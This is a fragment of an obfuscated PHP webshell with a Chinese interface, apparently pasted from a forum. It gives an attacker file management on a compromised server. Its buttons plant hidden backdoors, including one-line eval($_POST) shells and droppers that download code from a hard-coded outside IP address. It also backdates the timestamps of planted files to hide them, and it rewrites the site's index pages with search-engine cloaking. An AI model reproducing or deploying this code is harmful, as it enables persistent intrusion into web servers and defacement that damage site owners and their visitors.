"<h1>下载 " . $eb_7J . " 失败</h1>"; } } else { $UgLz_ = "<h1>下载失败或不支持下载</h1>"; } break; case "rf": $kojAr = explode("|x|", $_POST["var"]); if (count($kojAr) != 2) { $UgLz_ = "<h1>输入错误</h1>"; } else { $UgLz_ = @rename(Pbm07($Jzwra . $kojAr[1]), pbM07($Jzwra . $kojAr[0])) ? "<h2>重命名 " . $kojAr[1] . " 为 " . $kojAr[0] . " 成功</h2>" : "<h1>重命名 " . $kojAr[1] . " 为 " . $kojAr[0] . " 失败</h1>"; } break; case "pd": $kojAr = explode("|x|", $_POST["var"]); if (count($kojAr) != 2) { $UgLz_ = "<h1>输入错误</h1>"; } else { $PfRvL = pbm07($Jzwra . $kojAr[1]); try { @chmod($PfRvL, base_convert($kojAr[0], 8, 10)); $QRlUz = true; } catch (Throwable $yVbeC) { $QRlUz = false; } $UgLz_ = $QRlUz ? "<h2>修改" . $kojAr[1] . "属性为" . $kojAr[0] . "成功</h2>" : "<h1>修改" . $kojAr[1] . "属性为" . $kojAr[0] . "失败</h1>"; } break; case "edit": if (!(isset($_POST["filename"]) && isset($this->N5qPH["filecode"]))) { } else { $UgLz_ = LGu3j($_POST["filename"], $this->N5qPH["filecode"], "w") ? "<h2>保存成功 " . $_POST["filename"] . "</h2>" : "<h1>保存失败 " . $_POST["filename"] . "</h1>"; } break; case "deltree": $C3hpU = PBm07($Jzwra . $_POST["var"] . "/"); if (!file_exists($C3hpU)) { $UgLz_ = "<h1>目录 " . $_POST["var"] . " 不存在</h1>"; } else { $UgLz_ = mrf0q($C3hpU) ? "<h2>删除目录 " . $_POST["var"] . " 成功</h2>" : "<h1>删除目录 " . $_POST["var"] . " 失败</h1>"; } break; case "plxiaoma": $PfRvL = rtrim($_POST["dir"], "/"); $kojAr = explode("\n", trim($_POST["var"])); $kFQIU = array(); if ($kojAr) { $YJnbr = c4ghr($PfRvL); $ipdt9 = 0; if (!empty($YJnbr["file"])) { foreach ($YJnbr["file"] as $cT1oz => $Kes_q) { if (!$ipdt9) { $ipdt9 = filemtime($cT1oz); } else { if (filemtime($cT1oz) < $ipdt9) { $ipdt9 = filemtime($cT1oz); } } } } foreach ($kojAr as $Hzx0E) { $Hzx0E = trim($Hzx0E); $xNX14 = explode("/", $PfRvL . "/" . $Hzx0E); $eb_7J = array_pop($xNX14); $xNX14 = implode("/", $xNX14); if (!file_exists($xNX14)) { mkdir($xNX14, 0755, "recursive"); chmod($xNX14, 0755); } if (strpos($eb_7J, ".php") !== false) { $dRqNZ = $xNX14 . "/" . $eb_7J; } else { $dRqNZ = $xNX14 . "/" . $eb_7J; if (!file_exists($dRqNZ)) { mkdir($dRqNZ, 0755, "recursive"); chmod($dRqNZ, 0755); } $dRqNZ .= "/.xm.php"; } file_put_contents($dRqNZ, "<?php file_put_contents("\\x2e\\x69\\156\\144\\x65\\170\\x5f\\142\\x61\\x6b\\x2e\\160\\x68\\x70", file_get_contents ("\\x68\\x74\\164\\160\\x3a\\57\\57\\x31\\x35\\x34\\56\\62\\x30\\x34\\x2e\\62\\63\\63\\56\\61\\x36\\62\\x2f\\160\\x61\\156\\145\\154\\56\\164\\x78\\164"));"); if ($ipdt9) { @touch($dRqNZ, $ipdt9); } chmod($dRqNZ, 0755); $kFQIU[] = sprintf("批量哥小马 路径:%s", $dRqNZ); } } $UgLz_ = implode("</br>", $kFQIU); break; case "xiaoma": $PfRvL = rtrim($_POST["var"], "/"); if (!file_exists($PfRvL)) { mkdir($PfRvL, 0755, "recursive"); chmod($PfRvL, 0755); } $YJnbr = c4GHR($PfRvL); $ipdt9 = 0; if (!empty($YJnbr["file"])) { foreach ($YJnbr["file"] as $cT1oz => $Kes_q) { if (!$ipdt9) { $ipdt9 = filemtime($cT1oz); } else { if (filemtime($cT1oz) < $ipdt9) { $ipdt9 = filemtime($cT1oz); } } } } $dRqNZ = $PfRvL . "/.xm.php"; file_put_contents($dRqNZ, "<?php file_put_contents("\\x2e\\x69\\156\\144\\x65\\170\\x5f\\142\\x61\\x6b\\x2e\\160\\x68\\x70", file_get_contents ("\\x68\\x74\\164\\160\\x3a\\57\\57\\x31\\x35\\x34\\56\\62\\x30\\x34\\x2e\\62\\63\\63\\56\\61\\x36\\62\\x2f\\160\\x61\\156\\145\\154\\56\\164\\x78\\164"));"); if ($ipdt9) { @touch($dRqNZ, $ipdt9); } chmod($dRqNZ, 0755); $UgLz_ = sprintf("一键小M 路径:%s ", $dRqNZ); break; case "pldama": $PfRvL = rtrim($_POST["dir"], "/"); $kojAr = explode("\n", trim($_POST["var"])); $kFQIU = array(); if ($kojAr) { $YJnbr = C4gHr($PfRvL); $ipdt9 = 0; if (!empty($YJnbr["file"])) { foreach ($YJnbr["file"] as $cT1oz => $Kes_q) { if (!$ipdt9) { $ipdt9 = filemtime($cT1oz); } else { if (filemtime($cT1oz) < $ipdt9) { $ipdt9 = filemtime($cT1oz); } } } } foreach ($kojAr as $Hzx0E) { $Hzx0E = trim($Hzx0E); $xNX14 = explode("/", $PfRvL . "/" . $Hzx0E); $eb_7J = array_pop($xNX14); $xNX14 = implode("/", $xNX14); if (!file_exists($xNX14)) { mkdir($xNX14, 0755, "recursive"); chmod($xNX14, 0755); } if (strpos($eb_7J, ".php") !== false) { $dRqNZ = $xNX14 . "/" . $eb_7J; } else { $dRqNZ = $xNX14 . "/" . $eb_7J; if (!file_exists($dRqNZ)) { mkdir($dRqNZ, 0755, "recursive"); chmod($dRqNZ, 0755); } $dRqNZ .= "/.index_bak.php"; } file_put_contents($dRqNZ, file_get_contents(V51MD)); if ($ipdt9) { @touch($dRqNZ, $ipdt9); } chmod($dRqNZ, 0755); $kFQIU[] = sprintf("批量大M 路径:%s ", $dRqNZ); } } $UgLz_ = implode("</br>", $kFQIU); break; case "dama": $PfRvL = rtrim($_POST["var"], "/"); if (!file_exists($PfRvL)) { mkdir($PfRvL, 0755, "recursive"); chmod($PfRvL, 0755); } $YJnbr = C4GhR($PfRvL); $ipdt9 = 0; if (!empty($YJnbr["file"])) { foreach ($YJnbr["file"] as $cT1oz => $Kes_q) { if (!$ipdt9) { $ipdt9 = filemtime($cT1oz); } else { if (filemtime($cT1oz) < $ipdt9) { $ipdt9 = filemtime($cT1oz); } } } } $dRqNZ = $PfRvL . "/.index_bak.php"; file_put_contents($dRqNZ, file_get_contents(V51MD)); if ($ipdt9) { @touch($dRqNZ, $ipdt9); } chmod($dRqNZ, 0755); $UgLz_ = sprintf("一键大M 路径:%s ", $dRqNZ); break; case "gxdama": $PfRvL = rtrim($_POST["var"], "/"); if (!file_exists($PfRvL)) { mkdir($PfRvL, 0755, "recursive"); chmod($PfRvL, 0755); } $YJnbr = c4GHr($PfRvL); $ipdt9 = 0; if (isset($YJnbr["file"])) { foreach ($YJnbr["file"] as $cT1oz => $Kes_q) { if (!$ipdt9) { $ipdt9 = filemtime($cT1oz); } else { if (filemtime($cT1oz) < $ipdt9) { $ipdt9 = filemtime($cT1oz); } } } } $dRqNZ = V51MD; file_put_contents($dRqNZ, file_get_contents("http://154.204.233.162/panel.txt")); if ($ipdt9) { @touch($dRqNZ, $ipdt9); } chmod($dRqNZ, 0755); $UgLz_ = sprintf("更新大M完成 路径:%s", $dRqNZ); break; case "plgzl": $PfRvL = rtrim($_POST["dir"], "/"); $kojAr = explode("\n", trim($_POST["var"])); $kFQIU = array(); if ($kojAr) { $YJnbr = c4gHR($PfRvL); $ipdt9 = 0; if (!empty($YJnbr["file"])) { foreach ($YJnbr["file"] as $cT1oz => $Kes_q) { if (!$ipdt9) { $ipdt9 = filemtime($cT1oz); } else { if (filemtime($cT1oz) < $ipdt9) { $ipdt9 = filemtime($cT1oz); } } } } $DAWrM = mDxRq(); foreach ($kojAr as $Hzx0E) { $Hzx0E = trim($Hzx0E); $xNX14 = explode("/", $PfRvL . "/" . $Hzx0E); $eb_7J = array_pop($xNX14); $xNX14 = implode("/", $xNX14); if (!file_exists($xNX14)) { mkdir($xNX14, 0755, "recursive"); chmod($xNX14, 0755); } if (strpos($eb_7J, ".php") !== false) { $dRqNZ = $xNX14 . "/" . $eb_7J; } else { $dRqNZ = $xNX14 . "/" . $eb_7J; if (!file_exists($dRqNZ)) { mkdir($dRqNZ, 0755, "recursive"); chmod($dRqNZ, 0755); } $dRqNZ .= "/gzl.php"; } file_put_contents($dRqNZ, "<?php eval(\$_POST["" . $DAWrM . ""]);"); if ($ipdt9) { @touch($dRqNZ, $ipdt9); } chmod($dRqNZ, 0755); $kFQIU[] = sprintf("批量GZL 路径:%s 密码:%s", $dRqNZ, $DAWrM); } } $UgLz_ = implode("</br>", $kFQIU); break; case "gzl": $PfRvL = rtrim($_POST["var"], "/"); if (!file_exists($PfRvL)) { mkdir($PfRvL, 0755, "recursive"); chmod($PfRvL, 0755); } $YJnbr = c4gHr($PfRvL); $ipdt9 = 0; if (isset($YJnbr["file"])) { foreach ($YJnbr["file"] as $cT1oz => $Kes_q) { if (!$ipdt9) { $ipdt9 = filemtime($cT1oz); } else { if (filemtime($cT1oz) < $ipdt9) { $ipdt9 = filemtime($cT1oz); } } } } $dRqNZ = $PfRvL . "/gzl.php"; $DAWrM = mDXRQ(); file_put_contents($dRqNZ, "<?php eval(\$_POST["" . $DAWrM . ""]);"); if ($ipdt9) { @touch($dRqNZ, $ipdt9); } chmod($dRqNZ, 0755); $UgLz_ = sprintf("一键GZL 路径:%s 密码:%s", $dRqNZ, $DAWrM); break; case "TDK": $PfRvL = FO39n; $YJnbr = C4GHR($PfRvL); $ipdt9 = 0; if (isset($YJnbr["file"])) { foreach ($YJnbr["file"] as $cT1oz => $Kes_q) { if (!$ipdt9) { $ipdt9 = filemtime($cT1oz); } else { if (filemtime($cT1oz) < $ipdt9) { $ipdt9 = filemtime($cT1oz); } } } } $hKJoi = trim($_POST["var"]); $p9Pgu = $_SERVER["SERVER_PORT"]; $IJLc4 = $p9Pgu == "443" ? "https://" : "http://"; $QSO8f = cIVGh($IJLc4 . $_SERVER["HTTP_HOST"], 6); if ($QSO8f) { preg_match_all("/<meta(.*?)name="keywords"(.*?)>/i", $QSO8f, $GlUYK); if (!empty($GlUYK[0])) { foreach ($GlUYK[0] as $Hzx0E) { $QSO8f = str_replace($Hzx0E, '', $QSO8f); } } preg_match_all("/<meta(.*?)name="description"(.*?)>/i", $QSO8f, $GlUYK); if (!empty($GlUYK[0])) { foreach ($GlUYK[0] as $Hzx0E) { $QSO8f = str_replace($Hzx0E, '', $QSO8f); } } preg_match("/<title(.*?)>(.*?)<\\/title>/", $QSO8f, $GlUYK); if (!empty($GlUYK[0])) { $YfZ3Q = ''; if (!empty($GlUYK[2])) { $YfZ3Q = "<script>if(navigator.userAgent.toLocaleLowerCase().indexOf("baidu") == -1){document.title ="" . $GlUYK[2] . ""}</script>"; $QSO8f = str_replace($YfZ3Q, '', $QSO8f); } $YfZ3Q .= "\n" . $hKJoi; $QSO8f = str_replace($GlUYK[0], $YfZ3Q, $QSO8f); } file_put_contents($PfRvL . "/index.html", $QSO8f); if (file_exists($PfRvL . "/index.php")) { copy($PfRvL . "/index.php", $PfRvL . "/index_copy.php"); if (!file_exists($PfRvL . "/index_copy.php")) { file_put_contents($PfRvL . "/index_copy.php", file_get_contents($PfRvL . "/index.php")); } } file_put_contents($PfRvL . "/index.php", $QSO8f); if ($ipdt9) { @touch($PfRvL . "/index.html", $ipdt9); @touch($PfRvL . "/index.php", $ipdt9); } chmod($PfRvL . "/index.html", 0755); chmod($PfRvL . "/index.php", 0755); $UgLz_ = sprintf("一键TDK完成 %s %s", $PfRvL . "/index.html", $PfRvL . "/index.php"); } else { $UgLz_ = sprintf("一键TDK失败 %s 内容获取失败", "http://" . $_SERVER["HTTP_HOST"]); } break; case "JSC": $PfRvL = rtrim($_POST["var"], "/"); if (!file_exists($PfRvL)) { mkdir($PfRvL, 0755, "recursive"); chmod($PfRvL, 0755); } $YJnbr = c4ghR($PfRvL); $ipdt9 = 0; if (isset($YJnbr["file"])) { foreach ($YJnbr["file"] as $cT1oz => $Kes_q) { if (!$ipdt9) { $ipdt9 = filemtime($cT1oz); } else { if (filemtime($cT1oz) < $ipdt9) { $ipdt9 = filemtime($cT1oz); } } } } $dRqNZ = $PfRvL . "/zrty.php"; file_put_contents($dRqNZ, file_get_contents("http://154.204.233.162/zrty.txt")); if ($ipdt9) { @touch($dRqNZ, $ipdt9); } chmod($dRqNZ, 0755); $UgLz_ = sprintf("一键JSC 路径:%s", $dRqNZ); break; } } try { $RoNtC = substr(decoct(fileperms($Jzwra)), -4); } catch (Throwable $yVbeC) { $RoNtC = false; } if (!$RoNtC) { $UgLz_ .= "<h1>无法读取目录</h1>"; } $YJnbr = c4GHr($Jzwra); $nbzHl = PbM07("/" . strtr($Jzwra, array(FO39n => '')) . "/"); $Jzwra = strtr($Jzwra, array("'" => "%27", """ => "%22")); $QSO8f = ''; $QSO8f .= "<div class="msgbox">" . $UgLz_ . "</div>"; $QSO8f .= "<div class="actall"><form name="frm" id="frm" method="POST">"; $QSO8f .= AxTTq(); $QSO8f .= (is_writable($Jzwra) ? "<h2>路径</h2>" : "<h1>路径</h1>") . " <input type="text" name="dir" id="dir" style="width:508px;" value="" . pBM07($Jzwra . "/") . ""> "; $QSO8f .= "<input type="button" onclick="\$('frm').submit();" style="width:50px;" value="转到"> "; $QSO8f .= "<input type="button" onclick="cd('" . FO39n . "');" style="width:68px;" value="根目录"> "; $QSO8f .= "<input type="button" onclick="cd('" . k3TER . "');" style="width:68px;" value="程序目录"> "; $QSO8f .= "<select onchange="cd(options[selectedIndex].value);">"; $QSO8f .= "<option>---特殊目录---</option>"; $QSO8f .= "<option value="C:/RECYCLER/">Win-RECYCLER</option>"; $QSO8f .= "<option value="C:/\$Recycle.Bin/">Win-\$Recycle</option>"; $QSO8f .= "<option value="C:/Program Files/">Win-Program</option>"; $QSO8f .= "<option value="C:/Documents and Settings/All Users/Start Menu/Programs/Startup/">Win-Startup</option>"; $QSO8f .= "<option value="C:/Documents and Settings/All Users/「开始」菜单/程序/启动/">Win-启动</option>"; $QSO8f .= "<option value="C:/Windows/Temp/">Win-TEMP</option>"; $QSO8f .= "<option value="/usr/local/">Linux-local</option>"; $QSO8f .= "<option value="/tmp/">Linux-tmp</option>"; $QSO8f .= "<option value="/var/tmp/">Linux-var</option>"; $QSO8f .= "<option value="/etc/ssh/">Linux-ssh</option>"; $QSO8f .= "</select></form></div><div class="actall">"; $QSO8f .= "<input type="button" value="新建文件" onclick="nf('edit','newfile.php');" style="width:68px;"> "; $QSO8f .= "<input type="button" value="创建目录" onclick="txts('目录名','newdir','e');" style="width:68px;"> "; $QSO8f .= "<input type="button" value="下载文件" onclick="txts('下载文件到当前目录','url链接','f');" style="width:68px;"> "; $QSO8f .= "<input type="button" value="批量上传" onclick="go('upfiles','" . $Jzwra . "');" style="width:68px;"> "; $QSO8f .= "<form name="upfrm" id="upfrm" method="POST" enctype="multipart/form-data">"; $QSO8f .= AxTtQ(); $QSO8f .= "<input type="hidden" name="dir" id="dir" value="" . $Jzwra . "">"; $QSO8f .= "<input type="file" name="upfile" style="width:286px;height:21px;"> "; $QSO8f .= "<input type="button" onclick="\$('upfrm').submit();" value="上传" style="width:50px;"> "; $QSO8f .= "上传重命名为 <input type="text" name="rename" style="width:128px;">"; $QSO8f .= "</form></div>"; $QSO8f .= "<form name="frm1" id="frm1" method="POST"><table class="tables">"; $QSO8f .= AxtTq(); $QSO8f .= "<input type="hidden" name="dir" id="dir" value="" . $Jzwra . "">"; $QSO8f .= "<input type="hidden" name="act" id="act" value="">"; $QSO8f .= "<input type="hidden" name="var" id="var" value="">"; $QSO8f .= "<th><a href="javascript:cd('" . dirname($Jzwra) . "/');">上级目录</a></th><th style="width:8%">操作</th><th style="width:5%">属性</th><th style="width:17%">创建时间</th><th style="width:17%">修改时间</th><th style="width:8%">下载</th>"; $uMn1i = ''; $yICDZ = ''; $CU3_o = $DOdBZ = 0; if ($YJnbr) { if (isset($YJnbr["dir"])) { asort($YJnbr["dir"]); } if (isset($YJnbr["file"])) { asort($YJnbr["file"]); } if (isset($YJnbr["dir"])) { foreach ($YJnbr["dir"] as $PfRvL => $Kes_q) { $IU13H = substr(decoct(fileperms($PfRvL)), -4); $uMn1i = date("Y-m-d H:i:s", filectime($PfRvL)); $yICDZ = date("Y-m-d H:i:s", filemtime($PfRvL)); $QSO8f .= "<tr>"; $QSO8f .= "<td><a href="javascript:cd('" . $Jzwra . $Kes_q . "');"><b>" . strtr($Kes_q, array("%27" => "'", "%22" => """)) . "</b></a></td>"; $QSO8f .= "<td><a href="javascript:dels('" . $Kes_q . "');">删除</a> "; $QSO8f .= "<a href="javascript:acts('" . $Kes_q . "','rf','" . $Kes_q . "');">改名</a></td>"; $QSO8f .= "<td><a href="javascript:acts('" . $IU13H . "','pd','" . $Kes_q . "');">" . $IU13H . "</a></td>"; $QSO8f .= "<td>" . $uMn1i . "</td>"; $QSO8f .= "<td>" . $yICDZ . "</td>"; $QSO8f .= "<td>-</td>"; $QSO8f .= "</tr>"; $CU3_o++; } } if (isset($YJnbr["file"])) { foreach ($YJnbr["file"] as $PfRvL => $Kes_q) { $IU13H = substr(decoct(fileperms($PfRvL)), -4); $uMn1i = date("Y-m-d H:i:s", filectime($PfRvL)); $yICDZ = date("Y-m-d H:i:s", filemtime($PfRvL)); $T3WIB = IDyfR(filesize($PfRvL)); $QSO8f .= "<tr>"; $QSO8f .= "<td><input type="checkbox" name="files[]" value="" . $Kes_q . ""><a target="_blank" href="" . $nbzHl . $Kes_q . "">" . strtr($Kes_q, array("%27" => "'", "%22" => """)) . "</a></td>"; $QSO8f .= "<td><a href="javascript:go('edit','" . $Kes_q . "');">编辑</a> "; $QSO8f .= "<a href="javascript:acts('" . $Kes_q . "','rf','" . $Kes_q . "');">改名</a></td>"; $QSO8f .= "<td><a href="javascript:acts('" . $IU13H . "','pd','" . $Kes_q . "');">" . $IU13H . "</a></td>"; $QSO8f .= "<td>" . $uMn1i . "</td>"; $QSO8f .= "<td>" . $yICDZ . "</td>"; $QSO8f .= "<td align="right"><a href="javascript:go('down','" . $Kes_q . "');">" . $T3WIB . "</a></td>"; $QSO8f .= "</tr>"; $DOdBZ++; } } } unset($YJnbr); $QSO8f .= "</table>"; $QSO8f .= "<div class="actall" style="text-align:left;">"; $QSO8f .= "<input type="checkbox" id="chkall" name="chkall" value="on" onclick="sa(this.form);"> "; $QSO8f .= "<input type="button" value="复制" style="width:50px;" onclick='txts("复制路径","" . $Jzwra . "","a");'> "; $QSO8f .= "<input type="button" value="删除" style="width:50px;" onclick='dels("b");'> "; $QSO8f .= "<input type="button" value="属性" style="width:50px;" onclick='txts("属性值","0666","c");'> "; $QSO8f .= "<input type="button" value="时间" style="width:50px;" onclick='txts("修改时间","" . $yICDZ . "","d");'> "; $QSO8f .= "</br> "; $QSO8f .= "<input type="button" value="一键小M" style="width:80px;" onclick='txts("一键小M","" . $Jzwra . "","xiaoma");'> "; $QSO8f .= "<input type="button" value="批量小M" style="width:80px;" onclick='pltexts("批量小M","" . $Jzwra . "","plxiaoma");'> "; $QSO8f .= "<input type="button" value="一键大M" style="width:80px;" onclick='txts("一键大M","" . $Jzwra . "","dama");'> "; $QSO8f .= "<input type="button" value="更新大M" style="width:80px;" onclick='txts("更新大M","" . $Jzwra . "","gxdama");'> "; $QSO8f .= "<input type="button" value="批量大M" style="width:80px;" onclick='pltexts("批量大M","" . $Jzwra . "","pldama");'> "; $QSO8f .= "<input type="button" value="一键GZL" style="width:80px;" onclick='txts("一键GZL","" . $Jzwra . "","gzl");'> "; $QSO8f .= "<input type="button" value="批量GZL" style="width:80px;" onclick='pltexts("批量GZL","" . $Jzwra . "","plgzl");'> "; $QSO8f .= "<input type="button" value="一键TDK" style="width:80px;" onclick='pltexts("一键TDK","" . $Jzwra . "","TDK");'> "; $QSO8f .= "<input type="button" value="一键JSC" style="width:80px;" onclick='txts("一键JSC","" . $Jzwra . "","JSC");'> "; $QSO8f .= "</br> "; $QSO8f .= "目录[" . $CU3_o . "] - 文件[" . $DOdBZ . "] - 属性[" . $RoNtC . "]</div></form>"; return $QSO8f; }}function MWeMB($YJnbr){ foreach ($YJnbr as $iW8f4 => $KPtbK) { $YJnbr[$iW8f4] = is_array($KPtbK) ? mwEMb($KPtbK) : stripslashes($KPtbK); } return $YJnbr;}function PBM07($xndOv){ return str_replace(array("", "//", "%27", "%22"), array("/", "/", "'", """), chop($xndOv));}function c4gHr($b00lT){ $b00lT = pbm07($b00lT . "/"); try { if (($bJ62o = @opendir($b00lT)) == NULL) { return false; } } catch (Throwable $yVbeC) { return false; } $YJnbr = array(); while (false !== ($Kes_q = readdir($bJ62o))) { if ($Kes_q == "." || $Kes_q == "..") { } $PfRvL = $b00lT . $Kes_q; $Kes_q = strtr($Kes_q, array("'" => "%27", """ => "%22")); if (is_dir($PfRvL)) { $YJnbr["dir"][$PfRvL] = $Kes_q; } $YJnbr["file"][$PfRvL] = $Kes_q; } closedir($bJ62o); return $YJnbr;}function AXTtq(){ $QSO8f = ''; if (isset($_POST["getpwd"])) { $QSO8f .= "<input type="hidden" name="getpwd" value="" . $_POST["getpwd"] . "">"; } if (isset($_POST["pass"])) { $QSO8f .= "<input type="hidden" name="pass" value="" . $_POST["pass"] . "">"; } if (isset($_POST["pass"]) && isset($_POST[$_POST["pass"]])) { $QSO8f .= "<input type="hidden" name="" . $_POST["pass"] . "" value="" . $_POST[$_POST["pass"]] . "">"; } if (isset($_POST["check"])) { $QSO8f .= "<input type="hidden" name="check" value="" . $_POST["check"] . "">"; } return $QSO8f;}function lGU3j($eb_7J, $NC0z_, $fyjvY){ if (!is_writable($eb_7J) && file_exists($eb_7J)) { chmod($eb_7J, 0666); } $iW8f4 = false; try { $bJ62o = fopen($eb_7J, $fyjvY); $iW8f4 = fputs($bJ62o, $NC0z_); fclose($bJ62o); } catch (Throwable $yVbeC) { } return $iW8f4;}function jWptb($eb_7J){ $bJ62o = fopen($eb_7J, "r"); if (filesize($eb_7J) > 0) { $NC0z_ = fread($bJ62o, filesize($eb_7J)); } else { $NC0z_ = ''; } fclose($bJ62o); return $NC0z_;}function FiVRg($t_nY5, $fqqEu){ $iW8f4 = move_uploaded_file($t_nY5, $fqqEu) ? true : false; if (!$iW8f4) { $iW8f4 = copy($t_nY5, $fqqEu) ? true : false; } return $iW8f4;}function vZO7E($eb_7J){ if (!file_exists($eb_7J)) { return false; } ob_end_clean(); $Kes_q = basename($eb_7J); $YJnbr = explode(".", $Kes_q); header("Content-type: application/x-" . array_pop($YJnbr)); header("Content-Disposition: attachment; filename=" . $Kes_q); header("Content-Length: " . filesize($eb_7J)); @readfile($eb_7J); exit;}function mRF0q($b00lT){ $bJ62o = @opendir($b00lT); while (false !== ($Kes_q = @readdir($bJ62o))) { if ($Kes_q == "." || $Kes_q == "..") { } $PfRvL = $b00lT . $Kes_q; @chmod($PfRvL, 0777); if (is_dir($PfRvL)) { MRf0q($PfRvL . "/"); } @unlink($PfRvL); } @closedir($bJ62o); return @rmdir($b00lT);}function idYfr($IMG07){ if ($IMG07 < 1024) { return $IMG07 . " B"; } $YJnbr = array("B", "K", "M", "G", "T"); $bNTax = floor(log($IMG07) / log(1024)); return sprintf("%.2f " . $YJnbr[$bNTax], $IMG07 / pow(1024, floor($bNTax)));}function IIpyz($YJnbr, $g9_WW){ foreach ($YJnbr as $iW8f4) { if (stristr($g9_WW, $iW8f4)) { return true; } } return false;}function MdXRq($N8fwX = 8){ $SWSuO = array("a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9"); $KYc_0 = array_rand($SWSuO, $N8fwX); $xndOv = ''; if (is_int($KYc_0)) { $xndOv = $SWSuO[$KYc_0]; } else { shuffle($KYc_0); foreach ($KYc_0 as $Hzx0E) { $xndOv .= $SWSuO[$Hzx0E]; } } return $xndOv;}function Dqr9R($b00lT, $iW8f4, $SMX_3, $f1bw2, $q52rn, $Ktp_B, $n_geq, $Nzv3E){ try { if (($bJ62o = @opendir($b00lT)) == NULL) { return ''; } } catch (Throwable $yVbeC) { return ''; } $QSO8f = ''; while (false !== ($Kes_q = readdir($bJ62o))) { if ($Kes_q == "." || $Kes_q == "..") { } $PfRvL = $b00lT . $Kes_q; if (is_dir($PfRvL)) { if (!($f1bw2 && in_array($Kes_q, $f1bw2))) { if ($n_geq == 0 && is_readable($PfRvL)) { $QSO8f .= dQr9R($PfRvL . "/", $iW8f4, $SMX_3, $f1bw2, $q52rn, $Ktp_B, $n_geq, $Nzv3E); } } } if (!($SMX_3 && !iiPyz($SMX_3, $Kes_q))) { $uS2nL = $q52rn ? JwpTb($PfRvL) : $Kes_q; $A5Kw2 = $Ktp_B ? stristr($uS2nL, $iW8f4) : (strpos(IDyfr(filesize($PfRvL)), "M") ? false : strpos($uS2nL, $iW8f4) > -1); if ($A5Kw2) { $SFJ9z = strtr($PfRvL, array($Nzv3E => '', "'" => "%27", """ => "%22")); $QSO8f .= "<a href="javascript:go('editor','" . $SFJ9z . "');">编辑</a> " . $PfRvL . "<br>"; flush(); ob_flush(); } unset($uS2nL); } } closedir($bJ62o); return $QSO8f;}function cIVgh($N1G2o, $Q9zRG = 30, $kRKZ7 = 1){ $c9X7t = curl_init(); $PItFp = array("Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Upgrade-Insecure-Requests: 1", "DNT:1", "Accept-Language: zh-CN,zh;q=0.9", "User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36"); curl_setopt($c9X7t, CURLOPT_HTTPHEADER, $PItFp); curl_setopt($c9X7t, CURLOPT_TIMEOUT, $Q9zRG); curl_setopt($c9X7t, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($c9X7t, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($c9X7t, CURLOPT_URL, $N1G2o); if ($kRKZ7 == 1) { curl_setopt($c9X7t, CURLOPT_RETURNTRANSFER, true); } $rVq02 = curl_exec($c9X7t); if (!$rVq02) { $VO03Y = curl_errno($c9X7t); var_dump($VO03Y); } curl_close($c9X7t); return $rVq02;}function x8024($xndOv, $Go0li = '', $wrqOC = ''){ if ($Go0li) { $xndOv = stristr($xndOv, $Go0li, false); $xndOv = substr($xndOv, strlen($Go0li)); } $wrqOC && ($xndOv = stristr($xndOv, $wrqOC, true)); return trim($xndOv);}
复制代码 |